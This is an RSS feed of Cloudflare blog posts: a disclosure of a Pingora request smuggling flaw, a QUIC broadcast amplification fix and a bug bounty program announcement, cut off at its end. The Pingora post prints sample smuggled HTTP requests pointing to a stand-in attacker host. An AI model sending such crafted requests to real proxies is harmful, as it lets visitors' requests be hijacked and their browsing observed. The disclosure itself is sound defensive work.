
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
    <channel>
        <title><![CDATA[ The Cloudflare Blog ]]></title>
        <description><![CDATA[ Get the latest news on how products at Cloudflare are built, technologies used, and join the teams helping to build a better Internet. ]]></description>
        <link>https://blog.cloudflare.com</link>
        <atom:link href="https://blog.cloudflare.com/" rel="self" type="application/rss+xml"/>
        <language>en-us</language>
        <image>
            <url>https://blog.cloudflare.com/favicon.png</url>
            <title>The Cloudflare Blog</title>
            <link>https://blog.cloudflare.com</link>
        </image>
        <lastBuildDate>Sat, 11 Apr 2026 19:35:50 GMT</lastBuildDate>
        <item>
            <title><![CDATA[Resolving a request smuggling vulnerability in Pingora]]></title>
            <link>https://blog.cloudflare.com/resolving-a-request-smuggling-vulnerability-in-pingora/</link>
            <pubDate>Thu, 22 May 2025 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare patched a vulnerability (CVE-2025-4366) in the Pingora OSS framework, which exposed users of the framework and Cloudflare CDN’s free tier to potential request smuggling attacks. ]]></description>
            <content:encoded><![CDATA[ <p>On April 11, 2025 09:20 UTC, Cloudflare was notified via its <a href="https://www.cloudflare.com/disclosure/"><u>Bug Bounty Program</u></a> of a request smuggling vulnerability (<a href="https://www.cve.org/cverecord?id=CVE-2025-4366"><u>CVE-2025-4366</u></a>) in the <a href="https://github.com/cloudflare/pingora/tree/main"><u>Pingora OSS framework</u></a> discovered by a security researcher experimenting to find exploits using Cloudflare’s Content Delivery Network (CDN) free tier which serves some cached assets via Pingora.</p><p>Customers using the free tier of Cloudflare’s CDN or users of the caching functionality provided in the open source <a href="https://github.com/cloudflare/pingora/tree/main/pingora-proxy"><u>pingora-proxy</u></a> and <a href="https://github.com/cloudflare/pingora/tree/main/pingora-cache"><u>pingora-cache</u></a> crates could have been exposed.  Cloudflare’s investigation revealed no evidence that the vulnerability was being exploited, and was able to mitigate the vulnerability by April 12, 2025 06:44 UTC within 22 hours after being notified.</p>
    <div>
      <h2>What was the vulnerability?</h2>
      <a href="#what-was-the-vulnerability">
        
      </a>
    </div>
    <p>The bug bounty report detailed that an attacker could potentially exploit an HTTP/1.1 request smuggling vulnerability on Cloudflare’s CDN service. The reporter noted that via this exploit, they were able to cause visitors to Cloudflare sites to make subsequent requests to their own server and observe which URLs the visitor was originally attempting to access.</p><p>We treat any potential request smuggling or caching issue with extreme urgency.  After our security team escalated the vulnerability, we began investigating immediately, took steps to disable traffic to vulnerable components, and deployed a patch. 
</p><p>We are sharing the details of the vulnerability, how we resolved it, and what we can learn from the action. No action is needed from Cloudflare customers, but if you are using the Pingora OSS framework, we strongly urge you to upgrade to a version of Pingora <a href="https://github.com/cloudflare/pingora/releases/tag/0.5.0"><u>0.5.0</u></a> or later.</p>
    <div>
      <h2>What is request smuggling?</h2>
      <a href="#what-is-request-smuggling">
        
      </a>
    </div>
    <p>Request smuggling is a type of attack where an attacker can exploit inconsistencies in the way different systems parse HTTP requests. For example, when a client sends an HTTP request to an application server, it typically passes through multiple components such as load balancers, reverse proxies, etc., each of which has to parse the HTTP request independently. If two of the components the request passes through interpret the HTTP request differently, an attacker can craft a request that one component sees as complete, but the other continues to parse into a second, malicious request made on the same connection.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/4Zo8gcyLwmR2liZIUetcGe/d0647a83dc2bc1e676ee2b61f14c3964/image2.png" />
          </figure>
    <div>
      <h2>Request smuggling vulnerability in Pingora</h2>
      <a href="#request-smuggling-vulnerability-in-pingora">
        
      </a>
    </div>
    <p>In the case of Pingora, the reported request smuggling vulnerability was made possible due to a HTTP/1.1 parsing bug when caching was enabled.</p><p>The pingora-cache crate adds an HTTP caching layer to a Pingora proxy, allowing content to be cached on a configured storage backend to help improve response times, and reduce bandwidth and load on backend servers.</p><p>HTTP/1.1 supports “<a href="https://www.rfc-editor.org/rfc/rfc9112.html#section-9.3"><u>persistent connections</u></a>”, such that one TCP connection can be reused for multiple HTTP requests, instead of needing to establish a connection for each request. However, only one request can be processed on a connection at a time (with rare exceptions such as <a href="https://www.rfc-editor.org/rfc/rfc9112.html#section-9.3.2"><u>HTTP/1.1 pipelining</u></a>). The RFC notes that each request must have a “<a href="https://www.rfc-editor.org/rfc/rfc9112.html#section-9.3-7"><u>self-defined message length</u></a>” for its body, as indicated by headers such as <code>Content-Length</code> or <code>Transfer-Encoding</code> to determine where one request ends and another begins.</p><p>Pingora generally handles requests on HTTP/1.1 connections in an RFC-compliant manner, either ensuring the downstream request body is properly consumed or declining to reuse the connection if it encounters an error. After the bug was filed, we discovered that when caching was enabled, this logic was skipped on cache hits (i.e. when the service’s cache backend can serve the response without making an additional upstream request).</p><p>This meant on a cache hit request, after the response was sent downstream, any unread request body left in the HTTP/1.1 connection could act as a vector for request smuggling. When formed into a valid (but incomplete) header, the request body could “poison” the subsequent request. The following example is a spec-compliant HTTP/1.1 request which exhibits this behavior:</p>
            <pre><code>GET /attack/foo.jpg HTTP/1.1
Host: example.com
&lt;other headers…&gt;
content-length: 79

GET / HTTP/1.1
Host: attacker.example.com
Bogus: foo</code></pre>
            <p>Let’s say there is a different request to <code>victim.example.com</code> that will be sent after this one on the reused HTTP/1.1 connection to a Pingora reverse proxy. The bug means that a Pingora service may not respect the <code>Content-Length</code> header and instead misinterpret the smuggled request as the beginning of the next request:</p>
            <pre><code>GET /attack/foo.jpg HTTP/1.1
Host: example.com
&lt;other headers…&gt;
content-length: 79

GET / HTTP/1.1 // &lt;- “smuggled” body start, interpreted as next request
Host: attacker.example.com
Bogus: fooGET /victim/main.css HTTP/1.1 // &lt;- actual next valid req start
Host: victim.example.com
&lt;other headers…&gt;</code></pre>
            <p>Thus, the smuggled request could inject headers and its URL into a subsequent valid request sent on the same connection to a Pingora reverse proxy service.</p>
    <div>
      <h2>CDN request smuggling and hijacking</h2>
      <a href="#cdn-request-smuggling-and-hijacking">
        
      </a>
    </div>
    <p>On April 11, 2025, Cloudflare was in the process of rolling out a Pingora proxy component with caching support enabled to a subset of CDN free plan traffic. This component was vulnerable to this request smuggling attack, which could enable modifying request headers and/or URL sent to customer origins.</p><p>As previously noted, the security researcher reported that they were also able to cause visitors to Cloudflare sites to make subsequent requests to their own malicious origin and observe which site URLs the visitor was originally attempting to access. During our investigation, Cloudflare found that certain origin servers would be susceptible to this secondary attack effect. The smuggled request in the example above would be sent to the correct origin IP address per customer configuration, but some origin servers would respond to the rewritten attacker <code>Host</code> header with a 301 redirect. Continuing from the prior example:</p>
            <pre><code>GET / HTTP/1.1 // &lt;- “smuggled” body start, interpreted as next request
Host: attacker.example.com
Bogus: fooGET /victim/main.css HTTP/1.1 // &lt;- actual next valid req start
Host: victim.example.com
&lt;other headers…&gt;

HTTP/1.1 301 Moved Permanently // &lt;- susceptible victim origin response
Location: https://attacker.example.com/
&lt;other headers…&gt;</code></pre>
            <p>When the client browser followed the redirect, it would trigger this attack by sending a request to the attacker hostname, along with a Referrer header indicating which URL was originally visited, making it possible to load a malicious asset and observe what traffic a visitor was trying to access.</p>
            <pre><code>GET / HTTP/1.1 // &lt;- redirect-following request
Host: attacker.example.com
Referrer: https://victim.example.com/victim/main.css
&lt;other headers…&gt;</code></pre>
            <p>Upon verifying the Pingora proxy component was susceptible, the team immediately disabled CDN traffic to the vulnerable component on 2025-04-12 06:44 UTC to stop possible exploitation. By 2025-04-19 01:56 UTC and prior to re-enablement of any traffic to the vulnerable component, a patch fix to the component was released, and any assets cached on the component’s backend were invalidated in case of possible cache poisoning as a result of the injected headers.</p>
    <div>
      <h2>Remediation and next steps</h2>
      <a href="#remediation-and-next-steps">
        
      </a>
    </div>
    <p>If you are using the caching functionality in the Pingora framework, you should update to the latest version of <a href="https://github.com/cloudflare/pingora/releases/tag/0.5.0"><u>0.5.0.</u></a> If you are a Cloudflare customer with a free plan, you do not need to do anything, as we have already applied the patch for this vulnerability.</p>
    <div>
      <h2>Timeline</h2>
      <a href="#timeline">
        
      </a>
    </div>
    <p><i>All timestamps are in UTC.</i></p><ul><li><p>2025-04-11 09:20 – Cloudflare is notified of a CDN request smuggling vulnerability via the Bug Bounty Program.</p></li><li><p>2025-04-11 17:16 to 2025-04-12 03:28 – Cloudflare confirms vulnerability is reproducible and investigates which component(s) require necessary changes to mitigate.</p></li><li><p>2025-04-12 04:25 – Cloudflare isolates issue to roll out of a Pingora proxy component with caching enabled and prepares release to disable traffic to this component.</p></li><li><p>2025-04-12 06:44 – Rollout to disable traffic complete, vulnerability mitigated.</p></li></ul>
    <div>
      <h2>Conclusion</h2>
      <a href="#conclusion">
        
      </a>
    </div>
    <p>We would like to sincerely thank <a href="https://www.linkedin.com/in/james-kettle-albinowax/"><u>James Kettle</u></a> &amp; <a href="https://www.linkedin.com/in/wannes-verwimp/"><u>Wannes Verwimp</u></a>, who responsibly disclosed this issue via our <a href="https://www.cloudflare.com/en-gb/disclosure/"><u>Cloudflare Bug Bounty Program</u></a>, allowing us to identify and mitigate the vulnerability. We welcome further submissions from our community of researchers to continually improve the security of all of our products and open source projects.</p><p>Whether you are a customer of Cloudflare or just a user of our Pingora framework, or both, we know that the trust you place in us is critical to how you connect your properties to the rest of the Internet. Security is a core part of that trust and for that reason we treat these kinds of reports and the actions that follow with serious urgency. We are confident about this patch and the additional safeguards that have been implemented, but we know that these kinds of issues can be concerning. Thank you for your continued trust in our platform. We remain committed to building with security as our top priority and responding swiftly and transparently whenever issues arise.</p> ]]></content:encoded>
            <category><![CDATA[Pingora]]></category>
            <category><![CDATA[CDN]]></category>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[CVE]]></category>
            <category><![CDATA[Bug Bounty]]></category>
            <guid isPermaLink="false">W02DuD98fCm1sYwa3gNH8</guid>
            <dc:creator>Edward Wang</dc:creator>
            <dc:creator>Andrew Hauck</dc:creator>
            <dc:creator>Aki Shugaeva</dc:creator>
        </item>
        <item>
            <title><![CDATA[QUIC action: patching a broadcast address amplification vulnerability]]></title>
            <link>https://blog.cloudflare.com/mitigating-broadcast-address-attack/</link>
            <pubDate>Mon, 10 Feb 2025 14:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare was recently contacted by researchers who discovered a broadcast amplification vulnerability through their QUIC Internet measurement research. We've implemented a mitigation. ]]></description>
            <content:encoded><![CDATA[ <p>Cloudflare was recently contacted by a group of anonymous security researchers who discovered a broadcast amplification vulnerability through their <a href="https://blog.cloudflare.com/tag/quic"><u>QUIC</u></a> Internet measurement research. Our team collaborated with these researchers through our Public Bug Bounty program, and worked to fully patch a dangerous vulnerability that affected our infrastructure.</p><p>Since being notified about the vulnerability, we've implemented a mitigation to help secure our infrastructure. According to our analysis, we have fully patched this vulnerability and the amplification vector no longer exists. </p>
    <div>
      <h3>Summary of the amplification attack</h3>
      <a href="#summary-of-the-amplification-attack">
        
      </a>
    </div>
    <p>QUIC is an Internet transport protocol that is encrypted by default. It offers equivalent features to <a href="https://www.cloudflare.com/learning/ddos/glossary/tcp-ip/"><u>TCP</u></a> (Transmission Control Protocol) and <a href="https://www.cloudflare.com/learning/ssl/transport-layer-security-tls/"><u>TLS</u></a> (Transport Layer Security), while using a shorter handshake sequence that helps reduce connection establishment times. QUIC runs over <a href="https://www.cloudflare.com/en-gb/learning/ddos/glossary/user-datagram-protocol-udp/"><u>UDP</u></a> (User Datagram Protocol).</p><p>The researchers found that a single client QUIC <a href="https://datatracker.ietf.org/doc/html/rfc9000#section-17.2.2"><u>Initial packet</u></a> targeting a broadcast IP destination address could trigger a large response of initial packets. This manifested as both a server CPU amplification attack and a reflection amplification attack.</p>
    <div>
      <h3>Transport and security handshakes</h3>
      <a href="#transport-and-security-handshakes">
        
      </a>
    </div>
    <p>When using TCP and TLS there are two handshake interactions. First, is the TCP 3-way transport handshake. A client sends a SYN packet to a server, it responds with a SYN-ACK to the client, and the client responds with an ACK. This process validates the client IP address. Second, is the TLS security handshake. A client sends a ClientHello to a server, it carries out some cryptographic operations and responds with a ServerHello containing a server certificate. The client verifies the certificate, confirms the handshake and sends application traffic such as an HTTP request.</p><p><a href="https://datatracker.ietf.org/doc/html/rfc9000#section-7"><u>QUIC</u></a> follows a similar process, however the sequence is shorter because the transport and security handshake is combined. A client sends an Initial packet containing a ClientHello to a server, it carries out some cryptographic operations and responds with an Initial packet containing a ServerHello with a server certificate. The client verifies the certificate and then sends application data.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7wsMcFwy8xMRYwQyFNm6oC/5d131543e7704794776dfc3ed89c1693/image2.png" />
          </figure><p>The QUIC handshake does not require client IP address validation before starting the security handshake. This means there is a risk that an attacker could spoof a client IP and cause a server to do cryptographic work and send data to a target victim IP (aka a <a href="https://blog.cloudflare.com/reflections-on-reflections/"><u>reflection attack</u></a>). <a href="https://datatracker.ietf.org/doc/html/rfc9000"><u>RFC 9000</u></a> is careful to describe the risks this poses and provides mechanisms to reduce them (for example, see Sections <a href="https://datatracker.ietf.org/doc/html/rfc9000#section-8"><u>8</u></a> and <a href="https://datatracker.ietf.org/doc/html/rfc9000#section-9.3.1"><u>9.3.1</u></a>). Until a client address is verified, a server employs an anti-amplification limit, sending a maximum of 3x as many bytes as it has received. Furthermore, a server can initiate address validation before engaging in the cryptographic handshake by responding with a <a href="https://datatracker.ietf.org/doc/html/rfc9000#section-8.1.2"><u>Retry packet</u></a>. The retry mechanism, however, adds an additional round-trip to the QUIC handshake sequence, negating some of its benefits compared to TCP. Real-world QUIC deployments use a range of strategies and heuristics to detect traffic loads and enable different mitigations.</p><p>In order to understand how the researchers triggered an amplification attack despite these QUIC guardrails, we first need to dive into how IP broadcast works.</p>
    <div>
      <h3>Broadcast addresses</h3>
      <a href="#broadcast-addresses">
        
      </a>
    </div>
    <p>In Internet Protocol version 4 (IPv4) addressing, the final address in any given <a href="https://www.cloudflare.com/learning/network-layer/what-is-a-subnet/"><u>subnet</u></a> is a special broadcast IP address used to send packets to every node within the IP address range. Every node that is within the same subnet receives any packet that is sent to the broadcast address, enabling one sender to send a message that can be “heard” by potentially hundreds of adjacent nodes. This behavior is enabled by default in most network-connected systems and is critical for discovery of devices within the same IPv4 network.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/49zGjFbeIv7RxZMM6W2i5V/9e9e5f2f3bd8401467887d488930f476/image3.png" />
          </figure><p>The broadcast address by nature poses a risk of DDoS amplification; for every one packet sent, hundreds of nodes have to process the traffic. </p>
    <div>
      <h3>Dealing with the expected broadcast</h3>
      <a href="#dealing-with-the-expected-broadcast">
        
      </a>
    </div>
    <p>To combat the risk posed by broadcast addresses, by default most routers reject packets originating from outside their IP subnet which are targeted at the broadcast address of networks for which they are locally connected. Broadcast packets are only allowed to be forwarded within the same IP subnet, preventing attacks from the Internet from targeting servers across the world.</p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/5TU3GO26KOJgzLHcS9Uxiu/6cd334afc3925b1713b7e706decc7269/image1.png" />
          </figure><p>The same techniques are not generally applied when a given router is not directly connected to a given subnet. So long as an address is not locally treated as a broadcast address, <a href="https://www.cloudflare.com/learning/security/glossary/what-is-bgp/"><u>Border Gateway Protocol</u></a> (BGP) or other routing protocols will continue to route traffic from external IPs toward the last IPv4 address in a subnet. Essentially, this means a “broadcast address” is only relevant within a local scope of routers and hosts connected together via Ethernet. To routers and hosts across the Internet, a broadcast IP address is routed in the same way as any other IP.</p>
    <div>
      <h3>Binding IP address ranges to hosts</h3>
      <a href="#binding-ip-address-ranges-to-hosts">
        
      </a>
    </div>
    <p>Each Cloudflare server is expected to be capable of serving content from every website on the Cloudflare network. Because our network utilizes <a href="https://www.cloudflare.com/learning/cdn/glossary/anycast-network/"><u>Anycast</u></a> routing, each server necessarily needs to be listening on (and capable of returning traffic from) every Anycast IP address in use on our network.</p><p>To do so, we take advantage of the loopback interface on each server. Unlike a physical network interface, all IP addresses within a given IP address range are made available to the host (and will be processed locally by the kernel) when bound to the loopback interface.</p><p>The mechanism by which this works is straightforward. In a traditional routing environment, <a href="https://en.wikipedia.org/wiki/Longest_prefix_match"><u>longest prefix matching</u></a> is employed to select a route. Under longest prefix matching, routes towards more specific blocks of IP addresses (such as 192.0.2.96/29, a range of 8 addresses) will be selected over routes to less specific blocks of IP addresses (such as 192.0.2.0/24, a range of 256 addresses).</p><p>While Linux utilizes longest prefix matching, it consults an additional step — the Routing Policy Database (RPDB) — before immediately searching for a match. The RPDB contains a list of routing tables which can contain routing information and their individual priorities. The default RPDB looks like this:</p>
            <pre><code>$ ip rule show
0:	from all lookup local
32766:	from all lookup main
32767:	from all lookup default</code></pre>
            <p>Linux will consult each routing table in ascending numerical order to try and find a matching route. Once one is found, the search is terminated and the route immediately used.</p><p>If you’ve previously worked with routing rules on Linux, you are likely familiar with the contents of the main table. Contrary to the existence of the table named “default”, “main” generally functions as the default lookup table. It is also the one which contains what we traditionally associate with route table information:</p>
            <pre><code>$ ip route show table main
default via 192.0.2.1 dev eth0 onlink
192.0.2.0/24 dev eth0 proto kernel scope link src 192.0.2.2</code></pre>
            <p>This is, however, not the first routing table that will be consulted for a given lookup. Instead, that task falls to the local table:</p>
            <pre><code>$ ip route show table local
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
local 127.0.0.1 dev lo proto kernel scope host src 127.0.0.1
broadcast 127.255.255.255 dev lo proto kernel scope link src 127.0.0.1
local 192.0.2.2 dev eth0 proto kernel scope host src 192.0.2.2
broadcast 192.0.2.255 dev eth0 proto kernel scope link src 192.0.2.2</code></pre>
            <p>Looking at the table, we see two new types of routes — local and broadcast. As their names would suggest, these routes dictate two distinctly different functions: routes that are handled locally and routes that will result in a packet being broadcast. Local routes provide the desired functionality — any prefix with a local route will have all IP addresses in the range processed by the kernel. Broadcast routes will result in a packet being broadcast to all IP addresses within the given range. Both types of routes are added automatically when an IP address is bound to an interface (and, when a range is bound to the loopback (lo) interface, the range itself will be added as a local route).</p>
    <div>
      <h3>Vulnerability discovery</h3>
      <a href="#vulnerability-discovery">
        
      </a>
    </div>
    <p>Deployments of QUIC are highly dependent on the load-balancing and packet forwarding infrastructure that they sit on top of. Although QUIC’s RFCs describe risks and mitigations, there can still be attack vectors depending on the nature of server deployments. The reporting researchers studied QUIC deployments across the Internet and discovered that sending a QUIC Initial packet to one of Cloudflare’s broadcast addresses triggered a flood of responses. The aggregate amount of response data exceeded the RFC's 3x amplification limit.</p><p>Taking a look at the local routing table of an example Cloudflare system, we see a potential culprit:</p>
            <pre><code>$ ip route show table local
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1
local 127.0.0.1 dev lo proto kernel scope host src 127.0.0.1
broadcast 127.255.255.255 dev lo proto kernel scope link src 127.0.0.1
local 192.0.2.2 dev eth0 proto kernel scope host src 192.0.2.2
broadcast 192.0.2.255 dev eth0 proto kernel scope link src 192.0.2.2
local 203.0.113.0 dev lo proto kernel scope host src 203.0.113.0
local 203.0.113.0/24 dev lo proto kernel scope host src 203.0.113.0
broadcast 203.0.113.255 dev lo proto kernel scope link src 203.0.113.0</code></pre>
            <p>On this example system, the anycast prefix 203.0.113.0/24 has been bound to the loopback interface (lo) through the use of standard tooling. Acting dutifully under the standards of IPv4, the tooling has assigned both special types of routes — a local one for the IP range itself and a broadcast one for the final address in the range — to the interface.</p><p>While traffic to the broadcast address of our router’s directly connected subnet is filtered as expected, broadcast traffic targeting our routed anycast prefixes still arrives at our servers themselves. Normally, broadcast traffic arriving at the loopback interface does little to cause problems. Services bound to a specific port across an entire range will receive data sent to the broadcast address and continue as normal. Unfortunately, this relatively simple trait breaks down when normal expectations are broken.</p><p>Cloudflare’s frontend consists of several worker processes, each of which independently binds to the entire anycast range on UDP port 443. In order to enable multiple processes to bind to the same port, we use the SO_REUSEPORT socket option. While SO_REUSEPORT <a href="https://blog.cloudflare.com/the-sad-state-of-linux-socket-balancing/"><u>has additional benefits</u></a>, it also causes traffic sent to the broadcast address to be copied to every listener.</p><p>Each individual QUIC server worker operates in isolation. Each one reacted to the same client Initial, duplicating the work on the server side and generating response traffic to the client's IP address. Thus, a single packet could trigger a significant amplification. While specifics will vary by implementation, a typical one-listener-per-core stack (which sends retries in response to presumed timeouts) on a 128-core system could result in 384 replies being generated and sent for each packet sent to the broadcast address.</p><p>Although the researchers demonstrated this attack on QUIC, the underlying vulnerability can affect other UDP request/response protocols that use sockets in the same way.</p>
    <div>
      <h3>Mitigation</h3>
      <a href="#mitigation">
        
      </a>
    </div>
    <p>As a communication methodology, broadcast is not generally desirable for anycast prefixes. Thus, the easiest method to mitigate the issue was simply to disable broadcast functionality for the final address in each range.</p><p>Ideally, this would be done by modifying our tooling to only add the local routes in the local routing table, skipping the inclusion of the broadcast ones altogether. Unfortunately, the only practical mechanism to do so would involve patching and maintaining our own internal fork of the iproute2 suite, a rather heavy-handed solution for the problem at hand.</p><p>Instead, we decided to focus on removing the route itself. Similar to any other route, it can be removed using standard tooling:</p>
            <pre><code>$ sudo ip route del 203.0.113.255 table local</code></pre>
            <p>To do so at scale, we made a relatively minor change to our deployment system:</p>
            <pre><code>  {%- for lo_route in lo_routes %}
    {%- if lo_route.type == "broadcast" %}
        # All broadcast addresses are implicitly ipv4
        {%- do remove_route({
        "dev": "lo",
        "dst": lo_route.dst,
        "type": "broadcast",
        "src": lo_route.src,
        }) %}
    {%- endif %}
  {%- endfor %}</code></pre>
            <p>In doing so, we effectively ensure that all broadcast routes attached to the loopback interface are removed, mitigating the risk by ensuring that the specification-defined broadcast address is treated no differently than any other address in the range.</p>
    <div>
      <h3>Next steps </h3>
      <a href="#next-steps">
        
      </a>
    </div>
    <p>While the vulnerability specifically affected broadcast addresses within our anycast range, it likely expands past our infrastructure. Anyone with infrastructure that meets the relatively narrow criteria (a multi-worker, multi-listener UDP-based service that is bound to all IP addresses on a machine with routable IP prefixes attached in such a way as to expose the broadcast address) will be affected unless mitigations are in place. We encourage network administrators and security professionals to assess their systems for configurations that may present a local amplification attack vector.</p> ]]></content:encoded>
            <category><![CDATA[Security]]></category>
            <category><![CDATA[Network]]></category>
            <category><![CDATA[Edge]]></category>
            <category><![CDATA[DDoS]]></category>
            <category><![CDATA[HTTP3]]></category>
            <category><![CDATA[Bug Bounty]]></category>
            <guid isPermaLink="false">6ZaxgQxDACeIF6MZAquLPV</guid>
            <dc:creator>Josephine Chow</dc:creator>
            <dc:creator>June Slater</dc:creator>
            <dc:creator>Bryton Herdes</dc:creator>
            <dc:creator>Lucas Pardue</dc:creator>
        </item>
        <item>
            <title><![CDATA[Advancing cybersecurity: Cloudflare implements a new bug bounty VIP program as part of CISA Pledge commitment]]></title>
            <link>https://blog.cloudflare.com/cisa-pledge-commitment-bug-bounty-vip/</link>
            <pubDate>Fri, 27 Sep 2024 13:00:00 GMT</pubDate>
            <description><![CDATA[ Cloudflare strengthens its commitment to cybersecurity by joining CISA's "Secure by Design" pledge. In line with this commitment, we're enhancing our vulnerability disclosure policy by launching a VIP bug bounty program, giving top researchers early access to our products. Keep an eye out for future updates regarding Cloudflare's CISA pledge as we work together to shape a safer digital future. ]]></description>
            <content:encoded><![CDATA[ <p>As our digital world becomes increasingly more complex, the importance of cybersecurity grows ever more critical. As a result, Cloudflare is proud to promote our commitment to the <a href="https://cisa.gov/"><u>Cybersecurity and Infrastructure Security Agency (CISA)</u></a> <a href="https://www.cisa.gov/securebydesign"><u>‘Secure by Design’</u></a> <a href="https://www.cisa.gov/securebydesign/pledge"><u>pledge</u></a>. The commitment is built around seven security goals, aimed at enhancing the safety of our products and delivering the most secure solutions to our customers.</p><p>Cloudflare’s commitment to the CISA pledge reflects our dedication to transparency and accountability to our customers, and to cybersecurity best practices. Furthermore, Cloudflare is committed to being a trusted partner by sharing our strategies to ensure the highest priority is placed on safeguarding our customers’ security. </p>
    <div>
      <h2>Bug bounty VIP program</h2>
      <a href="#bug-bounty-vip-program">
        
      </a>
    </div>
    <p>Cloudflare has successfully managed a <a href="https://blog.cloudflare.com/cloudflare-bug-bounty-program/"><u>public Vulnerability Disclosure Program (VDP)</u></a> for years; our belief is that collaboration is the cornerstone of effective cybersecurity. We are excited to announce a major milestone in our journey to meet <a href="https://www.cisa.gov/securebydesign/pledge#:~:text=READ%20MORE-,Vulnerability%20disclosure%20policy,-Goal%3A%20Within%20one"><u>Goal #5 of the pledge</u></a>: our program will now include a bug bounty VIP program in conjunction with our bug bounty public program.</p><p>Continuous investment in maturing our bug bounty program is a vital tool for the success of any security organization. By encouraging broader participation in vulnerability testing, we open the door to more diverse perspectives and expertise, ultimately leading to stronger, more resilient security measures. Additionally, the new VIP program will allow us greater flexibility in engaging security researchers on upcoming betas for Cloudflare products, and will allow us to award higher bounty payouts.</p><p>Our commitment to this effort underscores our belief that a safer Internet is achievable through shared responsibility and proactive engagement. The security team at Cloudflare is looking forward to implementing a more proactive approach to securing our products with the launch of the new bug bounty VIP program!</p>
    <div>
      <h2>What is in scope for the new VIP program? </h2>
      <a href="#what-is-in-scope-for-the-new-vip-program">
        
      </a>
    </div>
    <p>The new bug bounty VIP program is an exclusive hub for select security researchers who either have the specialized technical expertise in the niche areas Cloudflare is building products in (such as Cloudflare Workers) or have demonstrated a deep understanding of our products and platform by actively participating in the public program with meaningful security findings. As a VIP member, security researchers will have access to beta testing environments for Cloudflare products<b>.</b> This includes early access to our newest features and unannounced products before they go live.</p><p>The VIP program’s scope will be carefully modeled from Cloudflare's product release roadmap. Security researchers will have the opportunity to influence Cloudflare’s product and security development before release. VIP program participants also have the option to participate in external/gray box penetration testing activities (<a href="https://docs.hackerone.com/en/articles/9064940-spot-checks"><u>Spot Checks</u></a>) for higher bounties related to security findings for upcoming product releases or critical infrastructure and services. </p>
          <figure>
          <img src="https://cf-assets.www.cloudflare.com/zkvhlag99gkb/7gAwO2RQgbNJch1omgazkx/0562c67e91daa0998eeb41672fe3b564/image1.png" />
          </figure>
    <div>
      <h2>The VIP program’s new &amp; enhanced reward structure</h2>
      <a href="#the-vip-programs-new-enhanced-reward-structure">
        
      </a>
    </div>
    <p>We believe that exceptional contributions deserve exceptional rewards. As a result, we’ve restructured our bounty offerings for the VIP program with higher payouts<b>.</b> Recognizing the specialized skills and expertise required, VIP researchers will be eligible for significantly higher rewards.<b> </b>We have also introduced bonus rewards for high-impact findings, particularly those that address critical vulnerabilities in our beta projects through the aforementioned Spot Checks. To further incentivize meaningful contributions, security researchers in our public program will receive milestone bonuses and be invited to our VIP program based on the number and quality of their submissions over time.</p><div>
    <figure>
        <table>
            <colgroup>
                <col></col>
                <col></col>
                <col></col>
                <col></col>
            </colgroup>
            <tbody>
                <tr>
                    <td>
                        <p><span><span><strong>VIP Program (Private)</strong></span></span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p><span><span><strong>Critical</strong></span></span></p>
                    </td>
                    <td>
                        <p><span><span><strong>High</strong></span></span></p>
                    </td>
                    <td>
                        <p><span><span><strong>Medium</strong></span></span></p>
                    </td>
                    <td>
                        <p><span><span><strong>Low</strong></span></span></p>
                    </td>
                </tr>
                <tr>
                    <td>
                        <p><span><span>$10,000-15,000</span></span></p>
                    </td>
                    <td>
                        <p><span><span>$4,000-7,000</span></span></p>
                    </td>
                    <td>
                        <p><span><span>$1,000-3,000</span></span></p>
                    </td>
                    <td>
                        <p><span><span>$250-750</span></span></p>
                    </td>
                </tr>
            </tbody>
        </table>
    </figure>
</div>
    <div>
      <h2>What outcomes are we driving with the new VIP program?</h2>
      <a href="#what-outcomes-are-we-driving-with-the-new-vip-program">
        
      </a>
    </div>
    <p>The VIP bug bounty program’s focus is not only finding and fixing bugs, but it’s also aimed at fostering a deeper, more impactful relationship with our security researchers. Moreover, these outcomes align well with the <a href="https://www.cisa.gov/securebydesign/pledge#:~:text=READ%20MORE-,Vulnerability%20disclosure%20policy,-Goal%3A%20Within%20one"><u>CISA Vulnerability Disclosure Policy (VDP) goal</u></a>. By offering exclusive access to beta software and enhanced rewards, our goals are as follows:</p><ol><li><p><b>Elevate security standards</b>: VIP researchers focusing on the most critical assets allows for further hardening of the overall security posture of Cloudflare’s products and services. </p></li><li><p><b>Accelerate product development</b>: Early identification of vulnerabilities allows the remediation of potential issues before they reach production, yielding faster, more secure, and more stable releases.</p></li><li><p><b>Foster innovation</b>: Involving researchers in the development process creates an additional feedback loop that encourages innovative approaches to security challenges. </p></li><li><p><b>Encourage collaboration</b>: The bug bounty team will encourage collaborative blog posts for select reports as a way to disseminate security learnings and build partnerships with researchers.</p></li></ol><p>This is a great professional growth opportunity for anyone in the technical research space as it gives participants the ability to work on cutting-edge technology with complex challenges, and can provide future opportunities for career/skill development.</p>
    <div>
      <h2>How does Cloudflare benefit from it?</h2>
      <a href="#how-does-cloudflare-benefit-from-it">
        
      </a>
    </div>
    <p>The launch of the VIP program marks a new chapter in Cloudflare’s security journey. We are excited about the opportunity to partner more closely with our top security researchers to build safer products for customers. Together, we can achieve new heights in security excellence:</p><ol><li><p><b>Stronger security</b>: Security researchers with expertise in niche topics can help enhance Cloudflare's defenses against emerging and novel threats.</p></li><li><p><b>Proactive risk management</b>: The new VIP program provides Cloudflare an additional avenue to identify and mitigate risks early in the product release cycle, reducing the likelihood of future security incidents.</p></li><li><p><b>Reinforced trust</b>: Our commitment to security is central to our customer relationships and the trust they place in Cloudflare; by continuously improving our security posture, we seek to preserve that trust.</p></li></ol>
    <div>
      <h2>How can you help?</h2>
      <a href="#how-can-you-help">
        
      </a>
    </div>
